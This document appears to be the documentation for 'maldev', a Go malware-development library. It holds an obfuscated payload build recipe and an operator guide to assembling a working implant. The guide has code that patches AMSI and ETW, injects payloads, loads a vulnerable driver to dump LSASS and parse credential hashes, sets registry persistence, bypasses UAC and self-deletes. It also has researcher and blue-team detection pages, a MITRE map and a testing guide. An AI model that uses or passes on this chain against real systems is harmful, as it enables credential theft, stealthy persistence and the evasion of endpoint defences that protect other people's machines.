build -trimpath -ldflags="-s -w -H windowsgui -buildid=" \
-o payload.exe ./cmd/rshell
- garble randomizes all symbols and type names
-literalsencrypts all string literals (decrypted at runtime)-tinyremoves panic/print support strings-seed=randomensures each build is unique- Significantly harder to identify as Go or attribute to maldev
Debug (with logging)
go build -trimpath -tags=debug -ldflags="-s -w" -o debug.exe ./cmd/rshell
- Enables
internal/logreal output (slog to stderr) - Use for: troubleshooting in controlled environments
- Never deploy debug builds operationally — log strings are in the binary
CallByHash: Eliminating Function Name Strings
Even with garble, Caller.Call("NtAllocateVirtualMemory", ...) leaves function name strings in the binary because garble doesn't encrypt function arguments that are computed at runtime.
Solution: Use CallByHash with pre-computed constants:
// BAD — "NtAllocateVirtualMemory" appears in binary
caller.Call("NtAllocateVirtualMemory", ...)
// GOOD — only 0xD33BCABD (uint32) in binary
caller.CallByHash(api.HashNtAllocateVirtualMemory, ...)
Pre-computed hashes are in win/api/resolve_windows.go:
| Function | Hash |
|---|---|
NtAllocateVirtualMemory | 0xD33BCABD |
NtProtectVirtualMemory | 0x8C394D89 |
NtCreateThreadEx | 0x4D1DEB74 |
NtWriteVirtualMemory | 0xC5108CC2 |
LoadLibraryA | 0xEC0E4E8E |
GetProcAddress | 0x7C0DFCAA |
For functions not in the pre-computed list, use hash.ROR13(name) at development time and hardcode the result.
garble Reference
garble is the only maintained Go obfuscator compatible with recent Go versions.
# Install
go install mvdan.cc/garble@latest
# Flags
garble [flags] build [go build flags]
# Key flags:
# -literals Encrypt string literals
# -tiny Remove extra runtime info
# -seed=random Random obfuscation seed per build
# -debugdir=dir Dump obfuscated source for inspection
Limitations:
- Increases binary size ~10-20% (encrypted strings + decryption stubs)
- Slightly slower startup (string decryption)
-tinyremovesfmt.Print/panicsupport — ensure your code handles errors viaerrorreturns, not panics- Cannot obfuscate the Go runtime itself (goroutine scheduler, GC)
Post-Build Verification
After building, verify OPSEC quality:
# Check for Go runtime strings
strings payload.exe | grep -iE "goroutine|runtime\.|GOROOT|go1\." | wc -l
# Target: 0 with garble -tiny
# Check for maldev package paths
strings payload.exe | grep -i "maldev\|oioio" | wc -l
# Target: 0 with garble
# Check for NT function names
strings payload.exe | grep -iE "NtAllocate|NtProtect|NtCreate|NtWrite" | wc -l
# Target: 0 with CallByHash
# Check for RWX memory (should not exist in stubs)
# Run under a debugger and check VirtualAlloc calls for PAGE_EXECUTE_READWRITE
For operators (red team)
You are running an engagement. You want chains that compose, payloads that land, and OPSEC that holds. This page walks the curated reading order.
TL;DR
flowchart LR
A[recon] --> B[evasion]
B --> C[inject]
C --> D[sleepmask]
D --> E[collection / lateral]
E --> F[cleanup]
Six packages — recon → evasion → inject → sleepmask → collection
→ cleanup — share one *wsyscall.Caller.
Plug it once, every package below it inherits the syscall stealth.
30-minute path: a working implant
[!IMPORTANT] Run from a VM. The intrusive packages call real APIs against the live OS. See vm-test-setup.md for the lab.
1. Pick your syscall stance
| Stance | Method | Trade-off |
|---|---|---|
| Quietest | MethodIndirectAsm + Chain(NewHashGate(), NewHellsGate()) | Go-asm stub (no heap stub, no VirtualProtect cycle), ROR13-resolved SSN, randomised gadget inside ntdll |
| Quiet, heap stub | MethodIndirect + Chain(NewHashGate(), NewHellsGate()) | Heap stub byte-patched + RW↔RX per call; same ntdll gadget end-effect |
| Quiet, simpler | MethodDirect + NewHellsGate() | Direct syscall instruction, no fallback. Triggers some EDR call-stack heuristics |
| Loud, debug | MethodWinAPI (default) | Standard CRT call. Useful when iterating; drop before delivery |
caller := wsyscall.New(
wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()),
)
2. Disable in-process defences
Apply the evasion preset for "modern Windows endpoint":
evasion.ApplyAll([]evasion.Technique{
amsi.ScanBufferPatch(), // T1562.001
etw.All(), // T1562.001
unhook.Classic("ntdll.dll"), // T1562.001 — restores 4C 8B D1 B8
}, caller)
See docs/techniques/evasion/ for the full menu (HW breakpoints, callstack spoof, ACG, BlockDLLs, kernel callback removal).
3. Inject payload
Choose a method by OPSEC class:
| Method | OPSEC | When |
|---|---|---|
| SectionMapInject | quiet | Default for remote injection |
| PhantomDLLInject | very-quiet | Targets that allow NtCreateSection(SEC_IMAGE) |
| ModuleStomp | quiet | Local-only; reuses an unused-module RX page |
| ExecuteCallback (TimerQueue) | quiet | Local-only; no thread creation, no APC |
| CreateRemoteThread | noisy | Quick-and-dirty remote |
Each accepts the same *wsyscall.Caller and stealthopen.Opener for file
read stealth where applicable.
4. Sleep masking between callbacks
mask := sleepmask.New(sleepmask.StrategyEkko, caller)
mask.Sleep(60 * time.Second) // bytes XOR-encrypted, decrypted on wake
Three strategies:
StrategyEkko— ROP chain, encrypts current thread stack.StrategyFakeJmp— JIT-rewrites a return-to-mask spot.StrategyTimerQueue— pure-userland timer fall-back.
See sleep-mask.md.
5. Cleanup at end-of-mission
selfdelete.RunWithScript() // ADS rename + batch + reboot — T1070.004
memory.WipeAndFree(secret) // overwrite + VirtualFree
timestomp.CopyFrom(target, "C:/Windows/System32/notepad.exe") // T1070.006
Common operator scenarios
Credential harvest
// 1. PPL unprotect via BYOVD (RTCore64).
drv, _ := rtcore64.New(rtcore64.Config{ServiceName: "rtcore"})
drv.Install()
defer drv.Uninstall()
// 2. Dump LSASS.
dump, _ := lsassdump.Dump(caller, drv)
// 3. Parse without dropping a .dmp file.
hashes, _ := sekurlsa.Parse(dump)
→ full chain in docs/techniques/credentials/.
Persistence
// Quietest: Registry Run key
mech := registry.NewRunKeyMechanism("Updater", "C:/Users/Public/u.exe", registry.HKCU)
mech.Install()
| Mechanism | Quiet | Notes |
|---|---|---|
persistence/registry | ✅ | HKCU writable as user |
persistence/startup (LNK) | ✅ | Drops a .lnk; AV scans the target |
persistence/scheduler | ⚠️ | COM ITaskService leaves event-log entry |
persistence/service | ❌ | Requires SYSTEM, very noisy |
Privilege escalation
if uac.SilentCleanup().Run() == nil {
// re-launched as High IL — chain continues
}
Four bypasses: FODHelper, SLUI, SilentCleanup, EventVwr. All are
T1548.002. See privesc/uac.
Lateral movement
This library focuses on the target side. For lateral mvmt primitives
(SMB, WMI, WinRM) wire up your own — c2/transport gives the
re-establishment plumbing.
Build pipeline (OPSEC delivery)
opsec-build.md covers the full pipeline. Quick recipe:
# 1. Compile-time PE masquerade as cmd.exe
go build -tags 'masquerade_cmd' -trimpath -ldflags='-s -w' -o impl.exe
# 2. Strip Go pclntab + sanitize section names
go run github.com/oioio-space/maldev/cmd/sleepmask-demo \
-in impl.exe -out impl-clean.exe
# 3. Morph (random section names + UPX-style header)
# (use pe/morph for runtime; for delivery, do it pre-flight)
OPSEC checklist
-
All packages share one
*wsyscall.Callerinstance — never new one per call. -
evasion.ApplyAll(...)runs before any injection / file read. -
sleepmaskenabled between operator callbacks. -
Build with
-trimpath -ldflags='-s -w' -tags <masquerade_preset>. -
pe/strip+pe/morphpost-build. -
No write to
C:\Users\Publicor%TEMP%unless absolutely needed. -
Cleanup chain wired into shutdown path:
selfdeletelast.
Where to next
- Composed examples — basic implant, evasive injection, full attack chain.
- docs/techniques/ — every technique with API reference.
- Researcher path — if you want to know why the Caller pattern exists, or how the kernel-callback removal actually works.
For researchers (R&D)
You want to understand. This page walks the architecture, the design patterns that make every package compose, and the references behind each technique.
TL;DR
The library is built around one composable abstraction: every
syscall-issuing package accepts an optional
*wsyscall.Caller. The caller
encapsulates the calling method (WinAPI / NativeAPI / Direct / Indirect)
and the SSN-resolution strategy (chain of gates: HellsGate → HalosGate →
Tartarus → HashGate). This is the maldev "Caller pattern" — read it
first.
Architecture
flowchart TD
L0["Layer 0 (pure Go)<br>crypto · encode · hash · random · useragent"]
L1["Layer 1 (OS primitives)<br>win/api · win/syscall · win/ntapi · win/token · win/privilege<br>process/enum · process/session · kernel/driver"]
L2T["Layer 2 (techniques)<br>evasion/* · recon/* · inject · pe/* · runtime/*<br>cleanup/* · process/tamper/* · privesc/*"]
L2P["Layer 2 (post-ex)<br>persistence/* · collection/* · credentials/*"]
L3["Layer 3 (orchestration)<br>c2/transport · c2/shell · c2/meterpreter · c2/cert"]
L0 --> L1
L1 --> L2T
L1 --> L2P
L2T --> L3
L2P --> L3
Detailed dependency rules and the complete package matrix: architecture.md.
The Caller pattern
Every package that issues syscalls follows this signature:
func DoThing(args ..., caller *wsyscall.Caller) (..., error)
A nil caller falls back to WinAPI (the standard CRT path — easy
debugging, noisy in production). A non-nil caller routes the call through
the chosen method:
sequenceDiagram
participant Pkg as "package (e.g. amsi)"
participant Caller as "*wsyscall.Caller"
participant Resolver as "SSN Gate Chain"
participant NT as "ntdll syscall stub"
Pkg->>Caller: NtProtectVirtualMemory(...)
Caller->>Resolver: resolve("NtProtectVirtualMemory")
Resolver-->>Caller: SSN 0x50
Caller->>NT: indirect call (rcx, rdx, r8, r9, [rsp+0x28])
NT-->>Caller: NTSTATUS
Caller-->>Pkg: error or nil
Why this design?
- Uniform OPSEC tuning — change one variable, all dependent packages inherit the new stealth level. No per-call configuration sprawl.
- Resolver fall-back chain — if
HellsGatefails (ntdll hooked),HalosGatewalks down to find a clean stub. Each package gets the chain "for free". - Testability — the WinAPI fall-back lets unit tests run on any
Windows host without elevation, while integration tests in VMs run
with
MethodIndirectto validate the stealth path.
See: win/syscall/doc.go and the
direct-indirect /
ssn-resolvers pages.
Cross-version Windows behavior
Some techniques fail on newer Windows builds. Tracked deltas:
| Technique | Win10 22H2 | Win11 24H2 (build 26100) | Notes |
|---|---|---|---|
process/tamper/herpaderping.ModeRun | ✅ | ❌ | Win11 image-load notify hardening — use ModeGhosting |
cleanup/selfdelete.DeleteFile | ✅ | ⚠️ | MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics changed |
process/tamper/fakecmd.SpoofPID | ✅ | ❌ | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS tightened |
inject.CallerMatrix_RemoteInject (some methods + Direct/Indirect) | ✅ | ⚠️ | Cross-process write + thread-create primitives |
evasion/hook test EXE | (Defender flagged) | (Defender flagged) | Defender def-update — exclusions in bootstrap-windows-guest.ps1 |
Source of truth: the ## Win10 → Win11 cross-version deltas table in
testing.md.
Reading order — by complexity
- Pure Go: crypto,
encode, hash — read
*_test.gofirst; the algorithms speak for themselves. - OS-primitives: win/syscall — start here, the Caller pattern radiates out.
- Detection-evasion mechanics: evasion/amsi, evasion/etw, evasion/unhook. Concrete byte-pattern verification, easy to validate in x64dbg.
- Sleep masking:
sleepmask — the
EkkoROP chain is a small masterpiece; the Go bindings preserve the semantics. - Injection: inject. 15+
methods — read the
CallerMatrixtest in testing.md for the feature × stealth grid. - In-process runtime: runtime/bof,
runtime/clr. BOF/COFF parsing in
pure Go; CLR hosting via
ICorRuntimeHost(legacy v2 activation). - Kernel BYOVD:
kernel/driver/rtcore64. Layer-1
primitives (Reader / ReadWriter / Lifecycle); CVE-2019-16098 IOCTL
scaffold; consumed by
evasion/kcallback.Removeandcredentials/lsassdump.Unprotect.
VM testing
Reproducible test harness: coverage-workflow.md.
# One-time: bootstrap VMs from scratch
bash scripts/vm-provision.sh
# Each session: full coverage with all gates open, merged report
bash scripts/full-coverage.sh --snapshot=TOOLS
The harness orchestrates Windows + Linux + Kali VMs; gating env vars
(MALDEV_INTRUSIVE, MALDEV_MANUAL) unlock destructive tests safely.
How to extend
Adding a new injection method
- Add a
Method<Name>constant toinject/method.go. - Implement
case MethodXxx:inWindowsInjector.Inject. The*wsyscall.Calleris already wired — call through it for any syscall. - Add the method to the CallerMatrix test.
- Update docs/techniques/injection/ per the doc-conventions template.
- Tag the MITRE ID in the new package's
doc.go;cmd/docgenrolls it into mitre.md.
Adding a new evasion technique
Same shape: package under evasion/<name>, exposes a function returning
an evasion.Technique so it composes via evasion.ApplyAll.
References
- Caller pattern: Hells/Halos Gate paper · Tartarus Gate
- AMSI bypass: Rasta Mouse — AmsiScanBuffer patch
- ETW patch: modexp — Disabling ETW
- Sleep mask (Ekko): Cracked5pider/Ekko
- Herpaderping / Ghosting: jxy-s/herpaderping · hasherezade — process ghosting
- Donut PE-to-shellcode: TheWover/donut
- Phantom DLL hollowing: forrest-orr/phantom-dll-hollower-poc
- BOF spec: Cobalt Strike BOF documentation
Per-technique pages cite their own primary sources — these are the spine references for the architecture.
Where to next
- Operator path — if you want the practical chain, not the theory.
- Detection engineering path — read the same techniques from the artifacts left behind angle.
- Architecture — full layer-by-layer dependency map.
- Testing — evidence the techniques actually work cross-version.
For detection engineers (blue team)
Every technique here has been measured against EDR / Defender / event logs. This page lists the artifacts each leaves behind, where to look, and which D3FEND counter-technique applies. Use it to write detections, plan red-team exercises, or harden endpoints.
TL;DR
[!TIP] If your goal is "what should I monitor first", focus on the noisy / very-noisy rows in the Detection Difficulty table below. Those are the techniques where the trade-off is worst for the attacker — easiest wins for the defender.
Detection difficulty matrix
Every package is annotated with a Detection level
field in its doc.go. Buckets:
| Bucket | Operator can hide it? | Defender notes |
|---|---|---|
very-quiet | Yes — zero artifacts above noise | In-process, common syscalls only. Detection requires per-process behavioural ML. |
quiet | Mostly | Minimal trace, no event log. Maybe one transient registry/file artifact. |
moderate | Sometimes | Distinguishable syscall pattern; volume-based detection works. |
noisy | No without effort | ETW provider, event log entry, cross-process activity. |
very-noisy | No | Signature-detected by Defender or EDR; specific API hooks watched. |
cmd/docgen (Phase 3 of the doc refactor) produces a flat table of all
public packages by detection level. Until then, see each package's
doc.go.
Per-area detection guidance
Syscalls — win/syscall
| Stance | Telemetry left | Detection vector |
|---|---|---|
MethodWinAPI | Standard CRT call | None — looks like any benign program |
MethodNativeAPI | ntdll!Nt* direct call | Frequency-based: a process making 200+ NT calls/sec is unusual |
MethodDirect | syscall instruction inside loaded module | EDR call-stack walking detects RIP not in ntdll. D3-PCM (Process Code Modification) |
MethodIndirect | syscall instruction inside ntdll (jumped to from caller via heap stub) | Hard to detect from user-mode. Heap stub page is RW↔RX-cycled per call — VirtualProtect rate may be a heuristic. Kernel-mode ETW (TI events) sees the issuing thread. D3-PSM (Process Spawn Monitoring) |
MethodIndirectAsm | Same end-effect as MethodIndirect but stub lives in implant .text (Go-asm, fixed RVA) | No VirtualProtect heuristic. YARA on the asm stub bytes still possible — morph or strip. D3-PSM |
[!NOTE] ETW Threat Intelligence provider (Microsoft-Windows-Threat-Intelligence) emits
EVENT_TI_NTPROTECTandEVENT_TI_NTALLOCATEVIRTUALregardless of whether the call came from ntdll or a direct syscall instruction. Subscribing to TI events is the single best detection investment for this area.
AMSI / ETW patching — evasion/amsi, evasion/etw
| Artifact | Where |
|---|---|
3-byte patch in amsi.dll!AmsiScanBuffer (31 C0 C3) | Memory scan of amsi.dll RX section after process load |
4-byte patch in ntdll.dll!EtwEventWrite{,Ex,Full,String,Transfer} (48 33 C0 C3) | Memory scan of ntdll.dll RX |
NtProtectVirtualMemory call switching RX → RWX → RX on amsi/ntdll | ETW TI / EDR call-stack inspection |
| Reduced AMSI scan rate from PowerShell host | PowerShell Microsoft.PowerShell.AMSI provider drops to zero |
Hunt query (KQL pseudo-code):
DeviceImageLoadEvents
| where FileName == "amsi.dll"
| join DeviceProcessEvents on InitiatingProcessId
| project ProcessName, AmsiBytes = read 3 bytes at AmsiScanBuffer offset
| where AmsiBytes != original_bytes
D3FEND counters: D3-PSM (Process Spawn Monitoring), D3-PMC (Process Module Code Manipulation Detection). Hardening: **AMSI Provider DLL pinned
- signed**.
ntdll unhooking — evasion/unhook
| Artifact | Where |
|---|---|
NtCreateSection/NtMapViewOfSection call sequence opening a fresh ntdll.dll from disk | Process memory access pattern |
Original syscall stubs 4C 8B D1 B8 … re-written over EDR-hooked ones | RX-page scan; compares running ntdll bytes against on-disk |
Hunt: memory-scan ntdll RX section for stubs that diverge from on-disk bytes after the EDR's hook installer ran.
Sleep masking — evasion/sleepmask
| Artifact | Where |
|---|---|
| Process thread stack XOR-encrypted during sleep | Kernel thread-stack walking detects high-entropy stack regions |
ROP chain (StrategyEkko) | EDR call-stack heuristics — return addresses on stack don't match valid call sites |
Timer queue API spike (StrategyTimerQueue) | RtlCreateTimer, WaitForSingleObject patterns |
D3FEND: D3-PSEP (Process Self-Modification). Hardening: kernel thread-stack walking on a 5–30 second cadence.
Injection — inject
Per-method telemetry (excerpt; full table per technique page):
| Method | ETW TI events | Detection difficulty |
|---|---|---|
MethodCreateThread | EVENT_TI_NTCREATETHREAD | very-noisy |
MethodCreateRemoteThread | EVENT_TI_NTCREATETHREADEX cross-process | very-noisy |
MethodEarlyBirdAPC | EVENT_TI_NTQUEUEAPCTHREAD + suspended process | noisy |
MethodSectionMap | NtCreateSection + NtMapViewOfSection(EXECUTE) | quiet |
MethodPhantomDLL | NtCreateSection(SEC_IMAGE) from a non-existent on-disk path | very-quiet |
MethodKernelCallbackTable | KernelCallbackTable write to PEB | very-quiet (rare in legit) |
MethodModuleStomp | RX-page write to a loaded module | quiet |
MethodThreadHijack | NtSuspendThread + NtSetContextThread cross-process | noisy |
See docs/techniques/injection/ for the per-method artifact list.
Credential access — credentials/*
| Package | Telemetry |
|---|---|
credentials/lsassdump | OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, …, lsass.exe PID) from non-system context |
credentials/sekurlsa | None standalone — operates on a dump file |
credentials/samdump | Live mode: reg.exe save HKLM\SAM …. Offline: file read of registry hive |
credentials/goldenticket | LsaCallAuthenticationPackage(KerbSubmitTicketMessage, …) — visible in TI provider |
Hardening: Credential Guard (LSASS in VTL1) defeats lsassdump
write/read; Protected Process Light (PPL) requires the BYOVD
unprotect path which is itself detectable via signed-driver provenance
events (Sysmon Event 6).
Persistence — persistence/*
| Mechanism | Event log | Sysmon equivalent |
|---|---|---|
| Registry Run/RunOnce | none built-in | Event 12 / 13 (registry write) |
| Startup folder LNK | none | Event 11 (file create) |
| Scheduled Task (COM) | TaskScheduler-Operational 4698 | Event 4698 |
| Windows Service install | System log 7045 | Event 4697 |
| Local account creation | Security 4720 | — |
D3FEND: D3-RAPA (Resource Access Pattern Analysis), D3-PFV (Persistent File Volume Inspection).
Cleanup — cleanup/*
The most-overlooked area for blue. Cleanup deliberately removes artifacts the rest of the chain would have left.
| Technique | What it erases | What it leaves |
|---|---|---|
cleanup/selfdelete | Implant binary on disk | NTFS $Bitmap change, $LogFile entry, ADS rename log |
cleanup/timestomp | File timestamp recency | $STANDARD_INFORMATION updated; $FILE_NAME MFT timestamps unchanged (forensic disparity) |
cleanup/wipe (memory.WipeAndFree) | Sensitive bytes in process memory | NtFreeVirtualMemory call |
cleanup/ads | Stream existence | NTFS $Data:streamname MFT entry remains visible to MFT-aware tooling |
cleanup/bsod | All in-memory state | Crash dump (if configured) |
Forensic detection: MFT inconsistency between $STANDARD_INFORMATION
and $FILE_NAME timestamps is the canonical timestomp tell.
Hardening recommendations
- Enable ETW Threat Intelligence provider and ship its events to your SIEM. Single highest-leverage signal for this entire library.
- Credential Guard + LSASS in PPL (kernel
RunAsPPL=1). - WDAC / AppLocker with publisher allow-list — defeats Donut-loaded PE shellcode if PE policy applies (depends on AMSI integration).
- Sysmon with SwiftOnSecurity baseline covers most artifact categories above.
- Driver block-list policy — Microsoft's vulnerable driver block list includes RTCore64; enable it.
Hunt repository (placeholder)
[!NOTE] A
docs/hunts/directory with Sigma rules and KQL queries per technique is on the Phase 5 roadmap. Until then, the per-technique "OPSEC & Detection" sections (mandatory by doc-conventions) carry the hunt-relevant artefacts.
Where to next
- Researcher path — same techniques explained from the attacker design angle.
- Operator path — see how the chain composes; useful for red-team / purple-team coordination.
- MITRE map — full ATT&CK / D3FEND reconciliation.
- docs/techniques/ — drill into any specific technique.
MITRE ATT&CK + D3FEND Coverage
ATT&CK Techniques
| ATT&CK ID | Technique Name | Package(s) | D3FEND Countermeasure |
|---|---|---|---|
| T1016 | System Network Configuration Discovery | recon/network (interfaces, gateway, DNS, public IP), win/domain (paired use) | D3-NTPM (Network Traffic Pattern Matching) |
| T1027 | Obfuscated Files or Information | evasion/sleepmask, pe/strip, crypto (TEA/XTEA/ArithShift/SBox/MatrixTransform), win/api (PEB-walk hash imports) | D3-SMRA (System Memory Range Analysis) |
| T1027.002 | Software Packing | pe/morph | D3-SEA (Static Executable Analysis) |
| T1027.007 | Dynamic API Resolution | win/api (Hell's/Halo's/Tartarus/HashGate resolvers), win/syscall (SSN gating chain) | D3-SCA (System Call Analysis) |
| T1027.013 | Encrypted/Encoded File | crypto, encode | D3-FCA (File Content Analysis) |
| T1036 | Masquerading | evasion/stealthopen, evasion/callstack (call-stack spoof metadata) | D3-FHA (File Hash Analysis) |
| T1036.005 | Masquerading: Match Legitimate Name or Location | process/tamper/fakecmd (self + remote via SpoofPID), pe/masquerade | D3-PLA (Process Listing Analysis) |
| T1047.001 | Boot or Logon Autostart Execution: Registry Run Keys | persistence/registry | D3-SBV (Service Binary Verification) |
| T1003.001 | OS Credential Dumping: LSASS Memory | credentials/lsassdump (producer — dump + PPL unprotect), credentials/sekurlsa (consumer — pure-Go MSV1_0 + Wdigest + Kerberos + DPAPI + TSPkg + CloudAP + LiveSSP + CredMan parser; PTH write-back into live lsass) | D3-PSA (Process Spawn Analysis), D3-SICA (System Image Change Analysis) |
| T1003.002 | OS Credential Dumping: Security Account Manager | credentials/samdump (offline SAM/SYSTEM hive dump — pure-Go REGF parser + boot-key permutation + AES/RC4 hashed-bootkey derivation + per-RID DES de-permutation; live mode via reg save) | D3-PSA (Process Spawn Analysis), D3-FCA (File Content Analysis on reg save artefacts) |
| T1550.002 | Use Alternate Authentication Material: Pass the Hash | credentials/sekurlsa (Pass / PassImpersonate — spawn under LOGON_NETCREDENTIALS_ONLY, NtWrite MSV + Kerberos hashes back into live lsass for the spawned LUID; SetThreadToken duplicate-token impersonation) | D3-PSA, D3-SICA |
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | credentials/sekurlsa (KerberosTicket.ToKirbi / ToKirbiFile — emit mimikatz-format KRB-CRED with replayable session key); credentials/goldenticket (Submit — LsaCallAuthenticationPackage(KerbSubmitTicketMessage)) | D3-NTA (Network Traffic Analysis on Kerberos AP-REQ patterns) |
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | credentials/goldenticket (Forge — pure-Go PAC marshaling + KRB5 ticket signing with operator-supplied krbtgt key) | D3-NTA |
| T1053.005 | Scheduled Task/Job: Scheduled Task | persistence/scheduler | D3-SBV (Service Binary Verification) |
| T1055 | Process Injection | inject (15 methods), process/tamper/herpaderping (ModeHerpaderping + ModeGhosting; both work on Win10/Win11 ≤ 26100, blocked on Win11 26100+) | D3-PSA (Process Spawn Analysis) |
| T1055.001 | DLL Injection | pe/srdi, inject/phantomdll | D3-SICA (System Image Change Analysis) |
| T1055.003 | Thread Execution Hijacking | inject (ThreadHijack) | D3-PSA |
| T1055.004 | Asynchronous Procedure Call | inject (QueueUserAPC, EarlyBirdAPC, NtQueueApcThreadEx) | D3-PSA |
| T1055.012 | Process Hollowing | inject (SpawnWithSpoofedArgs) | D3-PSMD (Process Spawn Monitoring) |
| T1068 | Exploitation for Privilege Escalation | privesc/cve202430088 (kernel TOCTOU race), kernel/driver/rtcore64 (BYOVD IOCTL R/W) | D3-EAL (Exploit Activity Logging), D3-DLIC (Driver Load Integrity Checking) |
| T1078 | Valid Accounts | win/privilege (alt-creds spawn via Secondary Logon), win/impersonate (alt-creds → thread context swap) | D3-UAP (User Account Profiling) |
| T1056.001 | Input Capture: Keylogging | collection/keylog | D3-KBIM (Keyboard Input Monitoring) |
| T1057 | Process Discovery | process/enum | D3-PLA (Process Listing Analysis) |
| T1059 | Command and Scripting Interpreter | c2/shell, c2/meterpreter, runtime/bof | D3-EFA (Executable File Analysis) |
| T1070 | Indicator Removal on Host | cleanup/memory | D3-SMRA |
| T1070.004 | File Deletion | cleanup/selfdelete, cleanup/wipe | D3-FRA (File Removal Analysis) |
| T1070.006 | Timestomp | cleanup/timestomp | D3-FHA (File Hash Analysis) |
| T1071.001 | Web Protocols | c2/transport/malleable, c2/transport/namedpipe | D3-NTA (Network Traffic Analysis) |
| T1082 | System Information Discovery | win/domain, win/version | D3-SYSIP (System Information Profiling) |
| T1083 | File and Directory Discovery | recon/folder | D3-FDA (File Discovery Analysis) |
| T1106 | Native API | win/api (PEB walk, API hashing), win/syscall, win/ntapi, pe/imports (import table enumeration) | D3-SCA (System Call Analysis) |
| T1113 | Screen Capture | collection/screenshot | D3-DA (Dynamic Analysis) |
| T1115 | Clipboard Data | collection/clipboard | D3-DA (Dynamic Analysis) |
| T1120 | Peripheral Device Discovery | recon/drive | D3-PDD (Peripheral Device Discovery) |
| T1134 | Access Token Manipulation | win/token, win/privilege | D3-TAAN (Token Auth Normalization) |
| T1134.001 | Token Impersonation/Theft | win/impersonate, win/token, privesc/cve202430088 (_EPROCESS.Token swap) | D3-TAAN |
| T1134.002 | Create Process with Token | process/session, win/privilege (Secondary Logon path) | D3-TAAN |
| T1134.004 | Parent PID Spoofing | c2/shell (PPID spoofing chain), win/impersonate (RunAsTrustedInstaller lineage) | D3-PSA (Process Spawn Analysis) |
| T1136.001 | Create Account: Local Account | persistence/account | D3-UAP (User Account Profiling) |
| T1204.002 | User Execution: Malicious File | persistence/lnk | D3-EFA (Executable File Analysis) |
| T1497 | Virtualization/Sandbox Evasion | recon/sandbox | D3-DA (Dynamic Analysis) |
| T1497.001 | System Checks | recon/antivm | D3-DA |
| T1497.003 | Time Based Evasion | recon/timing | D3-DA |
| T1529 | System Shutdown/Reboot | cleanup/bsod | D3-DA (Dynamic Analysis) |
| T1014 | Rootkit | kernel/driver/rtcore64 (BYOVD — RTCore64 / CVE-2019-16098) | D3-DLIC (Driver Load Integrity Checking) |
| T1543.003 | Create or Modify System Process: Windows Service | persistence/service, cleanup/service, kernel/driver/rtcore64 (signed-driver service install) | D3-SBV (Service Binary Verification) |
| T1547.009 | Shortcut Modification | persistence/lnk, persistence/startup | D3-FDA (File Discovery Analysis) |
| T1548.002 | Bypass UAC | privesc/uac, recon/dllhijack (AutoElevate scanner) | D3-UAP (User Account Profiling) |
| T1553.002 | Subvert Trust Controls: Code Signing | pe/cert | D3-SEA (Static Executable Analysis) |
| T1562.001 | Disable or Modify Tools | evasion/amsi, evasion/etw, evasion/unhook, evasion/acg, evasion/blockdlls, evasion/kcallback (kernel callback enumeration) | D3-AIPA (Application Integrity Analysis) |
| T1562.002 | Disable Windows Event Logging | process/tamper/phant0m | D3-EAL (Execution Activity Logging) |
| T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | recon/dllhijack (discovery) · pe/dllproxy (payload generator) | D3-PFV (Process File Verification) |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | pe/dllproxy (forwarder DLL emitter) | D3-PFV (Process File Verification) |
| T1574.012 | Hijack Execution Flow: Inline Hooking | evasion/hook | D3-AIPA (Application Integrity Analysis) |
| T1564 | Hide Artifacts | cleanup/service | D3-FRA |
| T1564.001 | Hide Artifacts: Hidden Process | process/tamper/hideprocess | D3-PLA (Process Listing Analysis) |
| T1564.004 | Hide Artifacts: NTFS File Attributes | cleanup/ads | D3-FRA (File Removal Analysis) |
| T1620 | Reflective Code Loading | runtime/clr | D3-AIPA (Application Integrity Analysis) |
| T1571 | Non-Standard Port | c2/multicat (operator-side multi-session listener) | D3-NTA (Network Traffic Analysis) |
| T1573.002 | Asymmetric Cryptography | c2/transport (TLS, uTLS) | D3-DNSTA (DNS Traffic Analysis) |
| T1622 | Debugger Evasion | recon/antidebug, recon/hwbp | D3-DICA (Debug Instruction Analysis) |
D3FEND Defensive Techniques
The D3FEND column above indicates which defensive technique a blue team would use to detect each maldev capability. This helps red teamers understand what they're evading and blue teamers understand what to implement.
graph TD
subgraph "Attack Techniques (Red)"
I[Injection T1055]
E[Evasion T1562]
S[Syscall Bypass T1106]
C[C2 T1071/T1573]
end
subgraph "D3FEND Countermeasures (Blue)"
D1[D3-PSA<br>Process Spawn Analysis]
D2[D3-AIPA<br>App Integrity Analysis]
D3[D3-SCA<br>System Call Analysis]
D4[D3-NTA<br>Network Traffic Analysis]
D5[D3-SMRA<br>Memory Range Analysis]
end
I --> D1
I --> D5
E --> D2
S --> D3
C --> D4
subgraph "maldev OPSEC Counters"
O1[Indirect syscalls<br>defeat D3-SCA]
O2[Sleep mask<br>defeats D3-SMRA]
O3[uTLS JA3 spoofing<br>defeats D3-NTA]
O4[Unhooking<br>defeats D3-AIPA hooks]
end
D3 -.->|bypassed by| O1
D5 -.->|bypassed by| O2
D4 -.->|bypassed by| O3
D2 -.->|bypassed by| O4
Testing Guide — maldev
Scope. This document covers per-test-type details: the injection matrix, Meterpreter end-to-end, evasion byte-pattern verification, BSOD, collection and token tests. For bootstrap (VM creation, SSH keys, INIT snapshot) see
docs/vm-test-setup.md. For the reproducible coverage collection workflow (merged host + Linux VM + Windows VM + Kali) seedocs/coverage-workflow.md.
Overview
The maldev project uses a multi-layered testing strategy:
- Unit tests (
go test ./...) — 64 packages, 500+ tests - VM integration tests (
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1) — privileged operations in isolated VMs - memscan binary verification (
scripts/vm-test-memscan.go) — 77 byte-pattern sub-checks read via the memscan HTTP API - Meterpreter end-to-end — real shellcode → real MSF sessions on Kali
- BSOD verification — crashes the VM, restores the snapshot (uses the
cmd/vmtestdriver; seescripts/vm-test.ps1)
Running Tests
# Local (safe, non-intrusive)
go build $(go list ./...)
go test $(go list ./... | grep -v scripts) -count=1 -short
# VM — all tests including intrusive (win10)
./scripts/vm-run-tests.sh windows "./..." "-v -count=1"
# VM — same suite on a second Windows build (cross-version coverage)
./scripts/vm-run-tests.sh windows11 "./..." "-v -count=1"
# VM — sweep all targets (windows + windows11 + linux)
